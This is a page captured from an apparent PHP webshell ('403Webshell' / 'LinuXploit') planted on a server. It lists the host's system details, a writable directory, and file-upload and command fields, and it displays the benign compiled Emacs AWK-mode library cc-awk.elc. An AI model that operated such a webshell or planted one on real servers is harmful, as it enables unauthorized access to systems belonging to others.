403Webshell
Server IP : 217.160.0.212  /  Your IP : 216.73.216.141
Web Server : Apache
System : Linux www 6.18.51-i1-ampere #1196 SMP Fri Sep 11 20:43:55 CEST 2026 aarch64
User : sws1073854427 ( 1073854427)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/share/emacs/28.2/lisp/progmodes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/emacs/28.2/lisp/progmodes/cc-awk.elc
;ELC
;;; Compiled
;;; in Emacs version 28.2
;;; with all optimizations.



(byte-code "\300\301!\210\300\302!\207" [require cc-defs cc-engine] 2)
#@42 Syntax table in use in AWK Mode buffers.
(defvar awk-mode-syntax-table (byte-code "\300 \301\302\303#\210\301\304\305#\210\301\306\305#\210\301\307\305#\210\301\310\311#\210\301\312\313#\210\301\314\313#\210\301\315\313#\210\301\316\313#\210\301\317\313#\210\301\320\313#\210\301\321\313#\210\301\322\313#\210\301\323\313#\210\301\324\313#\210\301\325\326#\210\301\327\313#\210\207" [make-syntax-table modify-syntax-entry 92 "\\" 10 ">   " 13 12 35 "<   " 47 "." 42 43 45 61 37 60 62 38 124 95 "_" 39] 5) (#$ . 155))
(defconst c-awk-esc-pair-re "\\\\\\(.\\|\n\\|\\'\\)")
(defconst c-awk-non-eol-esc-pair-re "\\\\\\(.\\|\\'\\)")
(defconst c-awk-comment-without-nl "#.*")
(defconst c-awk-nl-or-eob "\\(\n\\|
\\|\\'\\)")
(defconst c-awk-escaped-nl "\\\\[\n
]")
(defconst c-awk-escaped-nls* (concat "\\(" c-awk-escaped-nl "\\)*"))
(defconst c-awk-escaped-nls*-with-space* (concat "\\(" c-awk-escaped-nl "\\|[ 	]\\)*"))
(defconst c-awk-blank-or-comment-line-re "[ 	]*\\(#\\|\\\\?$\\)")
(defconst c-awk-harmless-_ "_\\([^\"]\\|\\'\\)")
(defconst c-awk-harmless-char-re "[^_#/\"{}();\\\n
]")
(defconst c-awk-harmless-string*-re (concat "\\(" c-awk-harmless-char-re #1="\\|" c-awk-esc-pair-re #1# c-awk-harmless-_ "\\)*"))
(defconst c-awk-harmless-string*-here-re (concat "\\=" c-awk-harmless-string*-re))
(defconst c-awk-harmless-line-char-re "[^_#/\"\\\n
]")
(defconst c-awk-harmless-line-string*-re (concat "\\(" c-awk-harmless-line-char-re #1="\\|" c-awk-esc-pair-re #1# c-awk-harmless-_ "\\)*"))
(defconst c-awk-harmless-line-re (concat c-awk-harmless-line-string*-re "\\(" c-awk-comment-without-nl "\\)?" c-awk-nl-or-eob))
(defconst c-awk-harmless-lines+-here-re (concat "\\=\\(" c-awk-harmless-line-re "\\)+"))
(defconst c-awk-string-ch-re "[^\"\\\n
]")
(defconst c-awk-string-innards-re (concat "\\(" c-awk-string-ch-re "\\|" c-awk-esc-pair-re "\\)*"))
(defconst c-awk-string-without-end-here-re (concat "\\=_?\"" c-awk-string-innards-re))
(defconst c-awk-possibly-open-string-re (concat "\"\\(" c-awk-string-ch-re "\\|" c-awk-esc-pair-re "\\)*\\(\"\\|$\\|\\'\\)"))
(defconst c-awk-regexp-normal-re "[^[/\\\n
]")
(defconst c-awk-escaped-newlines*-re "\\(\\\\[\n
]\\)*")
(defconst c-awk-regexp-char-class-re "\\[:[a-z]+:\\]")
(defconst c-awk-regexp-char-list-re (concat "\\[\\(" c-awk-escaped-newlines*-re "\\^\\)?" c-awk-escaped-newlines*-re "]?\\(" c-awk-esc-pair-re "\\|" c-awk-regexp-char-class-re "\\|[^]\n
]\\)*\\(]\\|$\\)"))
(defconst c-awk-regexp-innards-re (concat "\\(" c-awk-esc-pair-re #1="\\|" c-awk-regexp-char-list-re #1# c-awk-regexp-normal-re "\\)*"))
(defconst c-awk-regexp-without-end-re (concat "/" c-awk-regexp-innards-re))
(defconst c-awk-neutral-re "\\([}@` 	]\\|\\+\\+\\|--\\|\\\\\\(.\\|[\n
]\\)\\)")
(defconst c-awk-neutrals*-re (concat "\\(" c-awk-neutral-re "\\)*"))
(defconst c-awk-var-num-ket-re "[])0-9a-zA-Z_$.]+")
(defconst c-awk-div-sign-re (concat c-awk-var-num-ket-re c-awk-neutrals*-re "/"))
(defconst c-awk-non-arith-op-bra-re "[[({&=:!><,?;'~|]")
(defconst c-awk-regexp-sign-re (concat c-awk-non-arith-op-bra-re c-awk-neutrals*-re "/"))
(defconst c-awk-pre-exp-alphanum-kwd-re "\\(^\\|\\=\\|[^_\n
]\\)\\<\\(case\\|print\\|return\\)\\>\\([^_\n
]\\|$\\)")
(defconst c-awk-kwd-regexp-sign-re (concat c-awk-pre-exp-alphanum-kwd-re c-awk-escaped-nls*-with-space* "/"))
(defconst c-awk-_-harmless-nonws-char-re "[^#/\"\\\n
 	]")
(defconst c-awk-non-/-syn-ws*-re (concat #1="\\(" c-awk-escaped-nls*-with-space* #1# c-awk-_-harmless-nonws-char-re #2="\\|" c-awk-non-eol-esc-pair-re #2# c-awk-possibly-open-string-re "\\)\\)*"))
(defconst c-awk-space*-/-re (concat c-awk-escaped-nls*-with-space* "/"))
(defconst c-awk-space*-regexp-/-re (concat c-awk-escaped-nls*-with-space* "\\s\""))
(defconst c-awk-space*-unclosed-regexp-/-re (concat c-awk-escaped-nls*-with-space* "\\s|"))
#@25 

(fn &optional DO-LIM)
(defalias 'c-awk-after-if-for-while-condition-p #[256 "`Sf\300=\2057\212\3011\302`\303\304#0\202\210\305\211\2054\211b\210\306 \210\307\310!\2064\307\311!\2054\312!\313=?\262)\207" [41 (error) scan-lists -1 0 nil c-backward-token-1 looking-at "\\(if\\|for\\)\\>\\([^_]\\|$\\)" "while\\>\\([^_]\\|$\\)" c-beginning-of-statement-1 beginning] 5 (#$ . 3984)])
(defalias 'c-awk-after-function-decl-param-list #[0 "`Sf\300=\2051\212\3011\302`\303\304#0\202\210\305\211\205.\211b\210\306 \210\307\310!\205.\306 \210\307\311!\262)\207" [41 (error) scan-lists -1 0 nil c-backward-token-1 looking-at "[_a-zA-Z][_a-zA-Z0-9]*\\>" "func\\(tion\\)?\\>"] 4])
(defalias 'c-awk-after-continue-token #[0 "\212\300 \210\301\302!\203o\204\303u\210\301\304!)\207" [c-backward-token-1 looking-at "[&|]" -1 "[,{?:]\\|&&\\|||\\|do\\>\\|else\\>"] 2])
(defalias 'c-awk-after-rbrace-or-statement-semicolon #[0 "`Sf\300=\2069`Sf\301=\2059\212\3021\303`\304\305#0\202 \210\306\211\2056\211b\210\307\310!\2055\311 \2055\307\312!?\262)\207" [125 59 (error) scan-lists -1 1 nil looking-at "(" c-backward-token-1 "for\\>"] 4])
(defalias 'c-awk-back-to-contentful-text-or-NL-prop #[0 "\300\211\211o\204\201\301`S\302\"\211\262\204\201\303\304!\262`\262`\206 eV\2031\214\206*ed}\210\305 \210)`U\203I\306\262`S\307\211T\302$\266\202\201\310\311!\203}\300\210\312\313\314#\203z\300\210\315u\210`\206feV\203}\214\206ped}\210\305 \210)\202}\300\210n\204\207" [nil get-text-property c-awk-NL-prop line-beginning-position 0 c-backward-sws 36 put-text-property looking-at "[ 	]*\\\\+$" search-backward-regexp "\\(^\\|[^\\]\\)\\(\\\\\\\\\\)*\\\\$" t -1] 9])
#@25 

(fn &optional DO-LIM)
(defalias 'c-awk-calculate-NL-prop-prev-line #[256 "\212\300 \301\302\"\216\303 \210`\304 n\204T\305!\204\"\306 \204\"\307 \203&\310\202B\311\312!\2035\313 \2045\314\202B`Sf\315>\203A\316\202B\317\262\320\210`\321\211T\322$\266\320y\210`W\203\200\211\323\267\202o\324\262\202o\311\312!\204o\317\262\320y\210`S\321\211T\322$\266\202T\262)\262)\207" [match-data make-closure #[0 "\301\300\302\"\207" [V0 set-match-data evaporate] 3] beginning-of-line c-awk-back-to-contentful-text-or-NL-prop c-awk-after-if-for-while-condition-p c-awk-after-function-decl-param-list c-awk-after-continue-token 123 looking-at "[ 	]*\\\\$" c-awk-after-rbrace-or-statement-semicolon 92 (59 125) 125 36 nil put-text-property c-awk-NL-prop #s(hash-table size 4 test eq rehash-size 1.5 rehash-threshold 0.8125 purecopy t data (125 96 36 96 nil 96 92 102)) 35] 10 (#$ . 5693)])
#@25 

(fn &optional DO-LIM)
(defalias 'c-awk-get-NL-prop-prev-line #[256 "o?\205\300\301\302!\303\"\206\304!\207" [get-text-property line-end-position 0 c-awk-NL-prop c-awk-calculate-NL-prop-prev-line] 4 (#$ . 6605)])
#@25 

(fn &optional DO-LIM)
(defalias 'c-awk-get-NL-prop-cur-line #[256 "\212\300\211\210\300y\301U\203\302\303\301\"\210\304\262\305!\203\306\307!\210\262)\207" [nil 1 insert-char 10 t c-awk-get-NL-prop-prev-line delete-char -1] 5 (#$ . 6830)])
#@25 

(fn &optional DO-LIM)
(defalias 'c-awk-prev-line-incomplete-p #[256 "\300!\301>\207" [c-awk-get-NL-prop-prev-line (92 123)] 3 (#$ . 7087)])
(byte-code "\300\301\302\303#\304\301\305\306#\207" [function-put c-awk-prev-line-incomplete-p speed -1 put byte-optimizer byte-compile-inline-expand] 5)
#@25 

(fn &optional DO-LIM)
(defalias 'c-awk-cur-line-incomplete-p #[256 "\300!\301>\207" [c-awk-get-NL-prop-cur-line (92 123)] 3 (#$ . 7390)])
(byte-code "\300\301\302\303#\304\301\305\306#\207" [function-put c-awk-cur-line-incomplete-p speed -1 put byte-optimizer byte-compile-inline-expand] 5)
#@22 

(fn &optional POS)
(defalias 'c-awk-at-vsemi-p #[256 "\212\305\203	b\210`\306 \307 \310 \210`W\203R\311\"\210\312	!\203R\312\n!\203.\313 \210\202\312!\203I\3141B\313 \210\315u0\210\202\210\305\210\202\316 \210\305u\210\202`W\203^\305y\210\202`=\205~\317 \211\262\320=\203{\305y\321=\203{\312\f!\204d\322=\266\204)\207" [c-awk-non-/-syn-ws*-re c-awk-space*-/-re c-awk-space*-regexp-/-re c-awk-space*-unclosed-regexp-/-re c-awk-blank-or-comment-line-re nil line-beginning-position line-end-position c-awk-beginning-of-logical-line search-forward-regexp looking-at forward-sexp (error) -1 c-forward-sws c-awk-get-NL-prop-cur-line 92 0 36] 8 (#$ . 7690)])
(defalias 'c-awk-vsemi-status-unknown-p #[0 "\300\301 \302\"?\207" [get-text-property line-end-position c-awk-NL-prop] 3])
#@16 

(fn BEG END)
(defalias 'c-awk-clear-NL-props #[514 "\214~\210d\301W\203\302\303\"\203\202)\304\303\301$\211\262W\203(\211\202)\262\211W\2058\305\306#\210\211\266\202)\207" [most-positive-fixnum nil get-text-property c-awk-NL-prop next-single-property-change remove-text-properties (c-awk-NL-prop nil)] 9 (#$ . 8505)])
(defalias 'c-awk-unstick-NL-prop #[0 "\301\300!\205\302\236?\205\303B\211\207" [text-property-default-nonsticky boundp c-awk-NL-prop (c-awk-NL-prop . t)] 2])
#@14 

(fn LIMIT)
(defalias 'c-awk-font-lock-invalid-namespace-separators #[257 "`W\203\\\300\301\302#\203\\\303\224\203&\304\303\224T\303\225\305\306$\210\303\225\307Zb\210\202\307\224\203=\304\307\224\307\225S\305\306$\210\307\225Sb\210\202\304\310\224\307\310\224\\\305\306$\210\304\310\225\307Z\310\225\305\306$\210\310\225\307Zb\210\202\311\207" [c-syntactic-re-search-forward "\\([^[:alnum:]_$]::\\)\\|\\(::[^[:alpha:]_]\\)\\|\\(::[[:alnum:]_$]*::\\)" bound 1 put-text-property face font-lock-warning-face 2 3 nil] 6 (#$ . 9017)])
#@22 

(fn &optional POS)
(defalias 'c-awk-beginning-of-logical-line #[256 "\211\203\211b\210\300y\210`eV\203#`S\206`Sf\301=\203#\302y\210\202\n`\207" [0 92 -1] 3 (#$ . 9567)])
#@22 

(fn &optional POS)
(defalias 'c-awk-beyond-logical-line #[256 "\212\211\203\211b\210\300\210`dW\203`Sf\301=\203\302\210\202`dW\203*`T\202+`)\207" [nil 92 2] 3 (#$ . 9752)])
#@16 

(fn BEG END)
(defalias 'c-awk-set-string-regexp-syntax-table-properties #[514 "f\301=\203T\262\211d=\203 ^\302\211T\303\304$\210\202bffU\204C^\302\211T\303\305$\210^\302\211T\303\306$\210\202bf\307=\203b^\302\211T\303\310$\210^\302\211T\303\311$\210\212Tb\210m\206\205\312\313\314#\205\205`S^\302\211T\303\315$\266\202k)\207" [c-syntax-table-hwm 95 put-text-property syntax-table (15) (15) (15) 47 (7) (7) search-forward "\"" t (1)] 8 (#$ . 9945)])
(defalias 'c-awk-syntax-tablify-string #[0 "\301\302\303#\210\304\305\224\305\225\"\210\306\307!\203\302u\210\303\207\306\310!\203#\302u\210\302\207\302\207" [c-awk-string-without-end-here-re search-forward-regexp nil t c-awk-set-string-regexp-syntax-table-properties 0 looking-at "\"" "[\n
]"] 4])
#@33 

(fn ANCHOR ANCHOR-STATE-/DIV)
(defalias 'c-awk-syntax-tablify-/ #[514 "`b\210\203\304T\305#?\202!\304	T\305#\204*\304\nT\305#\203*\211Tb\210\306\207\211b\210\304!\210\307\310\224\310\225\"\210\311\312!\203C\306u\210\305\207\311\313!\203N\306u\210\306\207\306\207" [c-awk-regexp-sign-re c-awk-kwd-regexp-sign-re c-awk-div-sign-re c-awk-regexp-without-end-re search-forward-regexp t nil c-awk-set-string-regexp-syntax-table-properties 0 looking-at "/" "[\n
]"] 7 (#$ . 10748)])
#@12 

(fn LIM)
(defalias 'c-awk-set-syntax-table-properties #[257 "\304\211\305 \210`\304W\203\306\307\"\203\266\202\2022\310\307\304$\211\262W\203/\211\266\202\2022\266\202\211W\203B	^\311\312#\210\210\313\n\304\314#\203N\304\262`W\203\215`\262\313\304\314#\210\315\316!\203h\317 \202\210\304f\320=\203v\321\"\202\210\304f\322>\203\204\304u\210\304\202\210\304u\210\314\262\202C\304\207" [most-positive-fixnum c-syntax-table-hwm c-awk-harmless-lines+-here-re c-awk-harmless-string*-here-re nil c-awk-beginning-of-logical-line get-text-property syntax-table next-single-property-change remove-text-properties (syntax-table nil) search-forward-regexp t looking-at "_?\"" c-awk-syntax-tablify-string 47 c-awk-syntax-tablify-/ (123 125 40 59)] 10 (#$ . 11246)])
(defvar c-awk-old-ByLL 0)
(make-variable-buffer-local 'c-awk-old-Byll)
#@16 

(fn BEG END)
(defalias 'c-awk-record-region-clear-NL #[514 "\304 \305\211\305\306\307\"\216\310!\304 \305\211\305\306\311\"\216\312d\",\262,\207" [buffer-undo-list inhibit-read-only inhibit-modification-hooks c-awk-old-ByLL buffer-modified-p t make-closure #[0 "\300?\205\301\302!\207" [V0 restore-buffer-modified-p nil] 2] c-awk-beyond-logical-line #[0 "\300?\205\301\302!\207" [V0 restore-buffer-modified-p nil] 2] c-awk-clear-NL-props] 8 (#$ . 12117)])
#@24 

(fn BEG END OLD-LEN)
(defalias 'c-awk-end-of-change-region #[771 "ZZ\\\301!]\207" [c-awk-old-ByLL c-awk-beyond-logical-line] 6 (#$ . 12597)])
#@24 

(fn BEG END OLD-LEN)
(defalias 'c-awk-extend-and-syntax-tablify-region #[771 "\305 \306\211\306\307\310\"\216\311#\312!\211b\210\313!,\207" [buffer-undo-list inhibit-read-only inhibit-modification-hooks c-new-END c-new-BEG buffer-modified-p t make-closure #[0 "\300?\205\301\302!\207" [V0 restore-buffer-modified-p nil] 2] c-awk-end-of-change-region c-awk-beginning-of-logical-line c-awk-set-syntax-table-properties] 9 (#$ . 12752)])
#@16 

(fn BEG END)
(defalias 'c-awk-context-expand-fl-region #[514 "\212\300!)\301!B\207" [c-awk-beginning-of-logical-line c-awk-beyond-logical-line] 5 (#$ . 13207)])
#@47 Default expressions to highlight in AWK mode.
(defconst awk-font-lock-keywords '((#[257 "\303\304\305\303#\203u\306\224b\210\307!\204\306\225b\210\310 \311\312\"\216\313\314\224\314\225\315	$\210)\210\310 \311\316\"\216\317\224\203?\313\317\224\317\225\315\n$\210)\210\310 \311\320\"\216\321\224\203p\321\224Tb\210\321\225S`W\203o\322\323\303#\203o\313`\324Z`\315\325$\210\202U\210)\210\202)\326\207" [parse-sexp-lookup-properties font-lock-keyword-face font-lock-function-name-face t re-search-forward "^\\s *\\(func\\(tion\\)?\\)\\s +\\(\\(\\sw+\\(::\\sw+\\)?\\)\\s *\\)?\\(([^()]*)\\)?" 0 c-skip-comments-and-strings match-data make-closure #[0 "\301\300\302\"\207" [V0 set-match-data evaporate] 3] put-text-property 1 face #[0 "\301\300\302\"\207" [V0 set-match-data evaporate] 3] 4 #[0 "\301\300\302\"\207" [V0 set-match-data evaporate] 3] 6 c-syntactic-re-search-forward "::" 2 font-lock-warning-face nil] 8 "\n\n(fn LIMIT)"]) ("\\<\\(ARG\\(?:IND\\|[CV]\\)\\|BINMODE\\|CONVFMT\\|E\\(?:NVIRON\\|RRNO\\)\\|F\\(?:I\\(?:ELDWIDTHS\\|LENAME\\)\\|NR\\|PAT\\|S\\|UNCTAB\\)\\|IGNORECASE\\|LINT\\|N[FR]\\|O\\(?:F\\(?:MT\\|S\\)\\|RS\\)\\|PR\\(?:EC\\|OCINFO\\)\\|R\\(?:LENGTH\\|OUNDMODE\\|START\\|[ST]\\)\\|S\\(?:UBSEP\\|YNTAB\\)\\|TEXTDOMAIN\\)\\>" . font-lock-variable-name-face) ("\\(\"/dev/\\(fd/[0-9]+\\|p\\(\\(\\(gr\\)?p\\)?id\\)\\|std\\(err\\|in\\|out\\)\\|user\\)\\)\\>\\(\\(\"\\)\\|\\([^\"/\n
][^\"\n
]*\\)?$\\)" (1 font-lock-variable-name-face t) (8 font-lock-variable-name-face t t)) ("\\(\"/inet/\\(\\(raw\\|\\(tc\\|ud\\)p\\)/lport/rhost/rport\\)\\)\\>\\(\\(\"\\)\\|\\([^\"/\n
][^\"\n
]*\\)?$\\)" (1 font-lock-variable-name-face t) (6 font-lock-variable-name-face t t)) "\\<\\(BEGIN\\(?:FILE\\)?\\|END\\(?:FILE\\)?\\|break\\|c\\(?:\\(?:as\\|ontinu\\)e\\)\\|d\\(?:e\\(?:fault\\|lete\\)\\|o\\)\\|e\\(?:lse\\|xit\\)\\|for\\|getline\\|i[fn]\\|next\\(?:file\\)?\\|return\\|switch\\|while\\)\\>" (eval list "\\<\\(a\\(?:dump\\|nd\\|sorti?\\|tan2\\)\\|bindtextdomain\\|c\\(?:lose\\|o\\(?:mpl\\|s\\)\\)\\|dc\\(?:n?gettext\\)\\|ex\\(?:p\\|tension\\)\\|fflush\\|g\\(?:\\(?:en\\)?sub\\)\\|i\\(?:n\\(?:dex\\|t\\)\\|sarray\\)\\|l\\(?:ength\\|og\\|shift\\)\\|m\\(?:atch\\|ktime\\)\\|or\\|p\\(?:atsplit\\|rintf?\\)\\|r\\(?:and\\|shift\\)\\|s\\(?:in\\|p\\(?:lit\\|rintf\\)\\|qrt\\|rand\\|t\\(?:opme\\|r\\(?:ftime\\|tonum\\)\\)\\|ub\\(?:str\\)?\\|yst\\(?:em\\|ime\\)\\)\\|t\\(?:o\\(?:\\(?:low\\|upp\\)er\\)\\|ypeof\\)\\|xor\\)\\>" 0 c-preprocessor-face-name) (eval quote ("@\\(include\\|load\\|namespace\\)\\>" 0 font-lock-preprocessor-face)) ("\\(\\w\\|_\\)\\(\\\\[\n
]\\)*\\s \\(\\\\[\n
]\\|[ 	]\\)*(" (0 'font-lock-warning-face)) c-awk-font-lock-invalid-namespace-separators ("\\\\\\s +$" 0 font-lock-warning-face t) ("\\s|" 0 font-lock-warning-face t nil) ("\\(_\\)\\s|" 1 font-lock-warning-face) ("\\(_\\)\\s\"" 1 font-lock-string-face)) (#$ . 13378))
(defconst c-awk-terminated-regexp-or-string-here-re "\\=\\s\"\\S\"*\\s\"")
(defconst c-awk-unterminated-regexp-or-string-here-re "\\=\\s|\\S|*$")
(defconst c-awk-harmless-pattern-characters* (concat "\\([^{;#/\"\\\n
]\\|" c-awk-esc-pair-re "\\)*"))
(defalias 'c-awk-at-statement-end-p #[0 "o?\205\212\300u\210\301\302!\206\303 \304>\205\301\305!)\207" [-1 looking-at "[};]" c-awk-get-NL-prop-cur-line (36 92) "[^ 	\n
\\]\\(\\\\[\n
]\\|[ 	]\\)*[#\n
]"] 2])
#@683 Move backward to the beginning of an AWK "defun".
With ARG, do it that many times.  Negative arg -N means move
forward to Nth following beginning of defun.  Returns t unless
search stops due to beginning or end of buffer.

By a "defun" is meant either a pattern-action pair or a function.  The start
of a defun is recognized as code starting at column zero which is neither a
closing brace nor a comment nor a continuation of the previous line.  Unlike
in some other modes, having an opening brace at column 0 is neither necessary
nor helpful.

Note that this function might do hidden buffer changes.  See the
comment at the start of cc-engine.el for more info.

(fn &optional ARG)
(defalias 'c-awk-beginning-of-defun #[256 "\211\204\303\262\304 \305\306\"\216\307 \310\211\310\305\311\"\216\310\312Y\203K\211\203\205\312V\203\205`e=\204\205\313\314e\315#\211\262\203D\316 \317>\2032S\262\202\"`d=\204T\303u\210\211\203}\312W\203}`d=\204}\320\314d\315#\211\262\203v\316 \321>\203dT\262\202T\211\203\205\312\224b\210\312=\262,\262)\207" [buffer-undo-list inhibit-read-only inhibit-modification-hooks 1 match-data make-closure #[0 "\301\300\302\"\207" [V0 set-match-data evaporate] 3] buffer-modified-p t #[0 "\300?\205\301\302!\207" [V0 restore-buffer-modified-p nil] 2] 0 search-backward-regexp "^[^#} 	\n
]" stop-at-limit c-awk-get-NL-prop-prev-line (36 125 35) search-forward-regexp (36 125 35)] 9 (#$ . 16711) "p"])
(defalias 'c-awk-forward-awk-pattern #[0 "\303!\210\304\305!\203
\306\210m\203\306\207\304\307!\203\306\207l\203/\306\310!\311>\262\205O\306y\202I\303	\306\312#\204\303\n\306\312#\204\304\313!\205O\306u\210\312\205O\202\207" [c-awk-harmless-pattern-characters* c-awk-terminated-regexp-or-string-here-re c-awk-unterminated-regexp-or-string-here-re search-forward-regexp looking-at "#" nil "[{;]" c-awk-get-NL-prop-cur-line (92 123) t "/"] 4])
(defalias 'c-awk-end-of-defun1 #[0 "\300 \210\301\302!\203\303`\304\"b\210\202&\301\305!\203\306u\210\202&l\204&\307\310!\210`\207" [c-awk-forward-awk-pattern looking-at "{" scan-sexps 1 ";" nil error "c-awk-end-of-defun1:  Failure of c-awk-forward-awk-pattern"] 3])
(defalias 'c-awk-beginning-of-defun-p #[0 "\300\301!\205\302\303!\304>\262?\207" [looking-at "^[^#} 	\n
]" nil c-awk-get-NL-prop-prev-line (92 123)] 3])
#@494 Move forward to next end of defun.  With argument, do it that many times.
Negative argument -N means move back to Nth preceding end of defun.

An end of a defun occurs right after the closing brace that matches the
opening brace at its start, or immediately after the AWK pattern when there is
no explicit action; see function `c-awk-beginning-of-defun'.

Note that this function might do hidden buffer changes.  See the
comment at the start of cc-engine.el for more info.

(fn &optional ARG)
(defalias 'c-awk-end-of-defun #[256 "\211\204\303\262\304 \305\306\"\216\307 \310\211\310\305\311\"\216`\312\313V\203\\\314 \2045\315\303!\2045b\210\315\316!\210m\204\\\317 \203\\`V\203LS\211\262\202M\310\203\\\313V\203\\\315\316!\2045\313W\205\231\262o\204\225\315\303!\203\225o\203w`\202{\212\317 )\211\262W\203\213T\211\262\202\214\310\203\225\313W\204e^b\266\202,\262)\207" [buffer-undo-list inhibit-read-only inhibit-modification-hooks 1 match-data make-closure #[0 "\301\300\302\"\207" [V0 set-match-data evaporate] 3] buffer-modified-p t #[0 "\300?\205\301\302!\207" [V0 restore-buffer-modified-p nil] 2] nil 0 c-awk-beginning-of-defun-p c-awk-beginning-of-defun -1 c-awk-end-of-defun1] 8 (#$ . 19067) "p"])
(provide 'cc-awk)

Youez - 2016 - github.com/yon3zu
LinuXploit